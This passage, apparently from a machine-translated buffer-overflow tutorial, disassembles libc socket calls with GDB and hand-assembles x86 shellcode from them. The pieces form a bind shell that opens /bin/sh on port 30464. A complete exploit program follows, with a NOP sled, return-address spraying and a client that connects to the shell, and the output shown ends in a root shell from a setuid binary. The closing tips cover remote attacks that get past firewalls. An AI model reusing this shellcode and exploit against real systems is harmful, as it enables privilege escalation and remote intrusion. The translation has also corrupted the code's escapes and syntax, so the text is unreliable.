conditions. Type "Show Copying" to see the conditions. There Is Absolutely No Warranty for GDB. Type "Show Warranty" for Details. THIS GDB WAS Configured AS "i386-redhat-linux" ... (GDB) Disassemble fork Dump of askembler code for function fork: 0x804ca90 0x804ca95 0x804ca97 0x804ca9c 0x804caa2 0x804caa3 0x804caa4 0x804caa5 0x804caa6 0x804caa7 0x804caa8 0x804caa9 0x804caaa 0x804caab 0x804caac 0x804caad 0x804caaa 0x804caaf End of assembler dump. (GDB) Disassemble SocketDump of askEMBLER CODE for Function Socket: 0x804cda0 0x804cda2 0x804cda7 0x804cdac 0x804cdb0 0x804CDB2 0x804cdb4 0x804cdb7 0x804cdbd 0x804cdbe 0x804cdbf End of assembler dump. (GDB) Disassemble Bind Dump of assembler code for function bind: 0x804cd60 0x804cd62 0x804cd67 0x804cd6c 0x804cd70 0x804cd72 0x804cd74 0x804cd77 0x804cd7d 0x804cd7e 0x804cd7f End of assembler dump. (GDB) Disassemble Listen Dump of assembler code for function listen: 0x804cd80 0x804cd82 0x804cd87 0x804cd8c 0x804cd90 0x804cd92 0x804cd94 0x804cd97 0x804cd9d 0x804cd9e End of assembler dump. (GDB) Disassemble Accept Dump of assembler code for function __accept: 0x804cd40 <__ accept>: MOVL% EBX,% EDX 0x804cd42 <__ accept 2>: MOVL $ 0x66,% EAX 0x804cd47 <__ accept 7>: MOVL $ 0x5,% EBX 0x804CD4C <__ accept 12>: Leal 0x4 (% ESP, 1),% ECX 0x804cd50 <__ accept 16>: INT $ 0x80 0x804cd52 <__ accept 18>: MOVL% EDX,% EBX 0x804cd54 <__ accept 20>: CMPL $ 0xfffffff83,% EAX 0x804cd57 <__ accept 23>: jae 0x804cdc0 <__ syscall_error> 0x804cd5d <__ accept 29>: RET 0x804cd5e <__ accept 30>: NOP 0x804cd5f <__ accept 31>: NOP End of assembler dump. (GDB) Disassemble DUP2 Dump of askEMBLER CODE for Function DUP2: 0x804cbe0 0x804cbe2 0x804cbe6 0x804cBea 0x804cbef 0x804cbf1 0x804cbf3 0x804cbf8 0x804cbfe 0x804cbff End of assembler dump. (GDB) -------------------------------------------------- ---------------------------- Fork (); code -------------------------------------------------- ---------------------------- Char code [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ XB0 / X02" / * MOVB $ 0x2,% Al * / "/ xcd / x80"; / * int $ 0x80 * / -------------------------------------------------- ---------------------------- Socket (2, 1, 6); CODE -------------------------------------------------- ------------------------- / *% ECX is a pointer to all parameters. * / Char code [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ x89 / xf1" / * MOVL% ESI,% ECX * / "/ XB0 / X02" / * MOVB $ 0x2,% Al * / "/ x89 / x06" / * MOVL% EAX, (% ESI) * / / * The first parameter. * / / * In the use of the instruction, the% ESI has released the storage space. * / "/ XB0 / X01" / * MOVB $ 0X1,% Al * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / / * The second parameter. * / "/ xb0 / x06" / * MOVB $ 0x6,% Al * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / / * The third parameter. * / "/ XB0 / X66" / * MOVB $ 0x66,% Al * / "/ XB3 / X01" / * MOVB $ 0x1,% BL * / "/ xcd / x80"; / * int $ 0x80 * / -------------------------------------------------- ---------------------------- Bind (SOC, STRUCKADDR *) & serv_addr, 0x10); CODE -------------------------------------------------- ---------------------------- / *% ECX is a pointer to all parameters. * / Char code [] = "/ x89 / xf1" / * MOVL% ESI,% ECX * / "/ x89 / x06" / * MOVL% EAX, (% ESI) * / / * Before using this command,% EAX gets the value of the SOC. * / / * The first parameter. * / "/ XB0 / X02" / * MOVB $ 0x2,% Al * / "/ x66 / x89 / x46 / x0c" / * movW% AX, 0xc (% ESI) * / / * serv_addr.sin_family = 2 * / / * 2 is stored in 0xc (% ESI). * / "/ XB0 / X77" / * MOVB $ 0x77,% Al * / "/ x66 / x89 / x46 / x0e" / * movw% AX, 0xE (% ESI) * / / * The stored port number is in 0xe (% ESI). * / "/ X8D / X46 / X0C" / * LEAL 0XC (% ESI),% EAX * / / *% EAX = serv_addr address * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / / * The second parameter. * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x89 / x46 / x10" / * movl% EAX, 0x10 (% ESI) * / / * serv_addr.sin_addr.s_addr = 0 * / / * 0 is stored in 0x10 (% ESI). * / "/ XB0 / X10" / * MOVB $ 0x10,% Al * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * // * The third parameter. * / "/ XB0 / X66" / * MOVB $ 0x66,% Al * / "/ XB3 / X02" / * MOVB $ 0x2,% BL * / "/ xcd / x80"; / * int $ 0x80 * / -------------------------------------------------- ---------------------------- Listen (SoC, 1); CODE -------------------------------------------------- ---------------------------- / *% ECX is a pointer to all parameters. * / Char code [] = "/ x89 / xf1" / * MOVL% ESI,% ECX * / "/ x89 / x06" / * MOVL% EAX, (% ESI) * / / * Before using this command,% EAX gets the value of the SOC. * / / * The first parameter. * / "/ XB0 / X01" / * MOVB $ 0X1,% Al * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / / * The second parameter. * / "/ XB0 / X66" / * MOVB $ 0x66,% Al * / "/ XB3 / X04" / * MOVB $ 0X4,% BL * / "/ xcd / x80"; / * int $ 0x80 * / -------------------------------------------------- ---------------------------- Accept (SOC, 0, 0); Code -------------------------------------------------- ---------------------------- / *% ECX is a pointer to all parameters. * / Char code [] = "/ x89 / xf1" / * MOVL% ESI,% ECX * / "/ x89 / xf1" / * movl% EAX, (% ESI) * / / * Before using this command,% EAX gets the value of the SOC. * / / * The first parameter. * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / / * The second parameter. * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / / * The third parameter. * / "/ XB0 / X66" / * MOVB $ 0x66,% Al * / "/ XB3 / X05" / * MOVB $ 0X5,% BL * / "/ xcd / x80"; / * int $ 0x80 * / -------------------------------------------------- ---------------------------- DUP2 (CLI, 0); CODE -------------------------------------------------- ---------------------------- / * The first parameter is% EBX, the second parameter is% ECX * / Char code [] = / * Before using this command,% EAX acquires the value of the CLI. * / "/ x88 / xc3" / * MOVB% Al,% BL * / "/ XB0 / X3F" / * MOVB $ 0x3f,% Al * / "/ x31 / xc9" / * xorl% ECX,% ECX * / "/ XCD / X80"; / * int $ 0x80 * / -------------------------------------------------- ---------------------------- 6.3 Modify conventional shellcode You need to spend a peak to fuse the code above to a piece. New shellcode -------------------------------------------------- ---------------------------- Char shellcode [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ XB0 / X02" / * MOVB $ 0x2,% Al * / "/ xcd / x80" / * int $ 0x80 * / "/ x85 / xc0" / * testl% EAX,% EAX * / "/ x75 / x43" / * jne 0x43 * / / * for ()! = 0 case * / / * It will call EXIT (0) * / / * The result of this is that it will jump twice, because EXIT (0) is positioned too far * / "/ Xeb / X43" / * JMP 0x43 * / / * for () == 0 case * / / * It will call -0xa5 * / / * Similarly, it also wants JUMP twice, because -0xa5 is also positioned far. * / "/ x5e" / * popl% ESI * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ x89 / xf1" / * MOVL% ESI,% ECX * / "/ XB0 / X02" / * MOVB $ 0x2,% Al * / "/ x89 / x06" / * MOVL% EAX, (% ESI) * / "/ XB0 / X01" / * MOVB $ 0X1,% Al * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / "/ xb0 / x06" / * MOVB $ 0x6,% Al * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / "/ XB0 / X66" / * MOVB $ 0x66,% Al * / "/ XB3 / X01" / * MOVB $ 0x1,% BL * / "/ xcd / x80" / * int $ 0x80 * / "/ x89 / x06" / * MOVL% EAX, (% ESI) * / "/ XB0 / X02" / * MOVB $ 0x2,% Al * / "/ x66 / x89 / x46 / x0c" / * movW% AX, 0xc (% ESI) * / "/ XB0 / X77" / * MOVB $ 0x77,% Al * / "/ x66 / x89 / x46 / x0e" / * movw% AX, 0xE (% ESI) * / "/ X8D / X46 / X0C" / * LEAL 0XC (% ESI),% EAX * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x89 / x46 / x10" / * movl% EAX, 0x10 (% ESI) * / "/ XB0 / X10" / * MOVB $ 0x10,% Al * / "/ x89 / x46 / x08" / * MOVL% EAX, 0x8 (% ESI) * / "/ xb0 / x66" / * MOVB $ 0x66,% Al * / "/ XB3 / X02" / * MOVB $ 0x2,% BL * / "/ xcd / x80" / * int $ 0x80 * / "/ Xeb / X04" / * JMP 0x4 * / "/ Xeb / X55" / * JMP 0x55 * / "/ Xeb / X5B" / * JMP 0x5b * / "/ XB0 / X01" / * MOVB $ 0X1,% Al * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / "/ XB0 / X66" / * MOVB $ 0x66,% Al * / "/ XB3 / X04" / * MOVB $ 0X4,% BL * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / "/ XB0 / X66" / * MOVB $ 0x66,% Al * / "/ XB3 / X05" / * MOVB $ 0X5,% BL * / "/ xcd / x80" / * int $ 0x80 * / "/ x88 / xc3" / * MOVB% Al,% BL * / "/ XB0 / X3F" / * MOVB $ 0x3f,% Al * / "/ x31 / xc9" / * xorl% ECX,% ECX * / "/ xcd / x80" / * int $ 0x80 * / "/ XB0 / X3F" / * MOVB $ 0x3f,% Al * / "/ XB1 / X01" / * MOVB $ 0x1,% CL * / "/ xcd / x80" / * int $ 0x80 * / "/ XB0 / X3F" / * MOVB $ 0x3f,% Al * / "/ Xb1 / X02" / * MOVB $ 0x2,% CL * / "/ xcd / x80" / * int $ 0x80 * / "/ xb8 / x2f / x62 / x69 / x6e" / * movl $ 0x6e69622f,% EAX * / / *% EAX = "/ bin" * / "/ x89 / x06" / * MOVL% EAX, (% ESI) * / "/ xb8 / x2f / x73 / x68 / x2f" / * MOVL $ 0x2f68732f,% eax * / / *% EAX = "/ sh /" * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x88 / x46 / x07" / * MOVB% Al, 0x7 (% ESI) * / "/ x89 / x76 / x08" / * movl% ESI, 0x8 (% ESI) * / "/ x89 / x46 / x0c" / * movl% EAX, 0xc (% ESI) * / "/ XB0 / X0B" / * MOVB $ 0XB,% Al * / "/ x89 / xf3" / * MOVL% ESI,% EBX * / "/ x8d / x4e / x08" / * LEAL 0x8 (% ESI),% ECX * / "/ X8D / X56 / X0C" / * LEAL 0XC (% ESI),% EDX * / "/ XCD / X80" / * int $ 0x80 * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ XB0 / X01" / * MOVB $ 0X1,% Al * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ xcd / x80" / * int $ 0x80 * / "/ XE8 / X5B / XFF / XFF / XFF"; / * CALL-0XA5 * / -------------------------------------------------- ---------------------------- 6.4 Attack Procedure With this shellcode, we can easily write code. Of course, you have to write a connection socket. (socket) code. Exploit4.c -------------------------------------------------- ---------------------------- #include #include #include #include #include #define align 0 #define offset 0 #define ret_position 1024 #define Range 20 #define nop 0x90 Char shellcode [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ XB0 / X02" / * MOVB $ 0x2,% Al * / "/ xcd / x80" / * int $ 0x80 * / "/ x85 / xc0" / * testl% EAX,% EAX * / "/ x75 / x43" / * jne 0x43 * / "/ Xeb / X43" / * JMP 0x43 * / "/ x5e" / * popl% ESI * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ x89 / xf1" / * MOVL% ESI,% ECX * / "/ XB0 / X02" / * MOVB $ 0x2,% Al * / "/ x89 / x06" / * MOVL% EAX, (% ESI) * / "/ XB0 / X01" / * MOVB $ 0X1,% Al * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / "/ xb0 / x06" / * MOVB $ 0x6,% Al * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / "/ XB0 / X66" / * MOVB $ 0x66,% Al * / "/ XB3 / X01" / * MOVB $ 0x1,% BL * / "/ xcd / x80" / * int $ 0x80 * / "/ x89 / x06" / * MOVL% EAX, (% ESI) * / "/ XB0 / X02" / * MOVB $ 0x2,% Al * / "/ x66 / x89 / x46 / x0c" / * movW% AX, 0xc (% ESI) * / "/ XB0 / X77" / * MOVB $ 0x77,% Al * / "/ x66 / x89 / x46 / x0e" / * movw% AX, 0xE (% ESI) * / "/ x8d / x46 / x0c" / * LEAL 0XC (% ESI),% EAX * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x89 / x46 / x10" / * movl% EAX, 0x10 (% ESI) * / "/ XB0 / X10" / * MOVB $ 0x10,% Al * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / "/ XB0 / X66" / * MOVB $ 0x66,% Al * / "/ XB3 / X02" / * MOVB $ 0x2,% BL * / "/ xcd / x80" / * int $ 0x80 * / "/ Xeb / X04" / * JMP 0x4 * / "/ Xeb / X55" / * JMP 0x55 * / "/ Xeb / X5B" / * JMP 0x5b * / "/ XB0 / X01" / * MOVB $ 0X1,% Al * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / "/ XB0 / X66" / * MOVB $ 0x66,% Al * / "/ XB3 / X04" / * MOVB $ 0X4,% BL * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / "/ XB0 / X66" / * MOVB $ 0x66,% Al * / "/ XB3 / X05" / * MOVB $ 0X5,% BL * / "/ xcd / x80" / * int $ 0x80 * / "/ x88 / xc3" / * MOVB% Al,% BL * / "/ XB0 / X3F" / * MOVB $ 0x3f,% Al * / "/ x31 / xc9" / * xorl% ECX,% ECX * / "/ xcd / x80" / * int $ 0x80 * / "/ XB0 / X3F" / * MOVB $ 0x3f,% Al * / "/ XB1 / X01" / * MOVB $ 0x1,% CL * / "/ xcd / x80" / * int $ 0x80 * / "/ XB0 / X3F" / * MOVB $ 0x3f,% Al * / "/ Xb1 / X02" / * MOVB $ 0x2,% CL * / "/ xcd / x80" / * int $ 0x80 * / "/ xb8 / x2f / x62 / x69 / x6e" / * movl $ 0x6e69622f,% EAX * / "/ x89 / x06" / * MOVL% EAX, (% ESI) * / "/ xb8 / x2f / x73 / x68 / x2f" / * MOVL $ 0x2f68732f,% eax * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x88 / x46 / x07" / * MOVB% Al, 0x7 (% ESI) * / "/ x89 / x76 / x08" / * movl% ESI, 0x8 (% ESI) * / "/ x89 / x46 / x0c" / * movl% EAX, 0xc (% esi) * / "/ XB0 / X0B" / * MOVB $ 0XB,% Al * / "/ x89 / xf3" / * MOVL% ESI,% EBX * / "/ x8d / x4e / x08" / * LEAL 0x8 (% ESI),% ECX * / "/ X8D / X56 / X0C" / * LEAL 0XC (% ESI),% EDX * / "/ xcd / x80" / * int $ 0x80 * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ XB0 / X01" / * MOVB $ 0X1,% Al * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ xcd / x80" / * int $ 0x80 * / "/ XE8 / X5B / XFF / XFF / XFF"; / * CALL-0XA5 * / Unsigned long get_sp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Long getip (char * name) { Struct hostent * hp; Long IP; IF ((ip = INET_ADDR (Name)) == - 1) { IF ((hp = gethostbyname (name)) == NULL) { FPRINTF (stderr, "can't resolve host./n); exit (0); } Memcpy (& IP, (hp-> h_addr), 4); } Return IP; } INT EXEC_SH (Int Sockfd) { Char SND [4096], RCV [4096]; FD_SET RSET; While (1) { FD_ZERO (& RSET); FD_SET (Fileno (stdin), & rset; FD_SET (SOCKFD, & RSET); SELECT (255, & RSET, NULL, NULL, NULL); IF (FD_Isset (Fileno (stdin), & rset) { MEMSET (SND, 0, SIZEOF (SND)); FGETS (SND, SIZEOF (SND), STDIN; Write (SOCKFD, SND, STRLEN (SND)); } IF (fd_isset (sockfd, & rset)) { MEMSET (RCV, 0, SIZEOF (RCV)); IF (read (Sockfd, RCV, SizeOf (RCV)) <= 0) exit (0); FPUTS (RCV, STDOUT); } } } INT Connect_sh (long IP) { Int sockfd, i; Struct SockAddr_in sin; Printf ("Connect to the shell / n"); Fflush (stdout); MEMSET (& SIN, 0, SIZEOF (SIN)); sin.sin_family = af_INet; sin.sin_port = HTONS (30464); sin.sin_addr.s_addr = IP; IF ((Sockfd = Socket (AF_INET, SOCK_STREAM, 0)) <0) { Printf ("can't create socket / n"); exit (0); } IF (Connect (Sockfd, (Struct Sockaddr *) & Sin, SIZEOF (SIN)) <0) { Printf ("Can't Connect To The Shell / N); exit (0); } Return sockfd; } Void main (int Argc, char ** argv) { Char buff [RET_POSITION RANGE Align 1], * PTR; Long addr; UNSIGNED Long SP; INT offset = offset, bsize = RET_POSITION RANGE Align 1; INT I; Int sockfd; IF (Argc> 1) OFFSET = ATOI (Argv [1]); sp = get_sp (); Addr = sp-offset; For (i = 0; i { BUFF [I Align] = (AddR & 0x000000FF); BUF [I Align 1] = (AddR & 0x0000FF00) >> 8; BUF [I Align 2] = (AddR & 0x00FF0000) >> 16; BUF [i align 3] = (addr & 0xff000000) >> 24; } For (i = 0; i BUFF [I] = NOP; PTR = BUFF BSIZE-RANGE * 2-STRLEN (Shellcode) -1; For (i = 0; i * (PTR ) = shellcode [i]; BUFF [BSIZE-1] = '/ 0'; Printf ("Jump to 0x% 08x / N", ADDR); IF (fork () == 0) { Execl ("./ Vulnerable4", "Vulnerable4", BUFF, 0); exit (0); } Sleep (5); Sockfd = connect_sh (Getip ("127.0.0.1"); EXEC_SH (SOCKFD); } -------------------------------------------------- ---------------------------- operation result -------------------------------------------------- ---------------------------- [user @ hosts ~] {1} $ ls -l vulnerable4 -RWSR-XR-x 1 root root 4091 Oct 18 20:21 Vulnerable4 * [User @ hosts ~] {2} $ ls -l expedition4 -RWXR-XR-X 1 Ohhara Cse 7973 OCT 18 20:25 Exploit4 * [user @ hosts ~] {3} $ ./exploit4 Jump to 0xBFFEC64 Connect to the shell Can't Connect to the shell [user @ hosts ~] {4} $ ./exploit4 500 Jump to 0xBFFFEA70 Connect to the shellwhoami root -------------------------------------------------- ---------------------------- 6.5 Tips This technique can be used to write a variety of remote attack code. If the attacked host is behind the firewall, you can Open a socket in a unfiltered port. This attacks an RPC service in your use of buffers. It is very effective. 7. Summary This article describes four attack techniques for buffering overflow. They are: bypass the filter limit, change the UID 0, breakthrough Chroot, and establish a socket connection. These techniques are very helpful when writing buffering attacks. In addition Some techniques can also be combined. All programmers are developing the setuid root program and the service program It should be particularly careful !!!!!!!!! 8. References Smashing the stack for fat and profit by aleph1 Wu-ftpd remote exploit code by duke AdmMountd Remote Exploit Code by ADM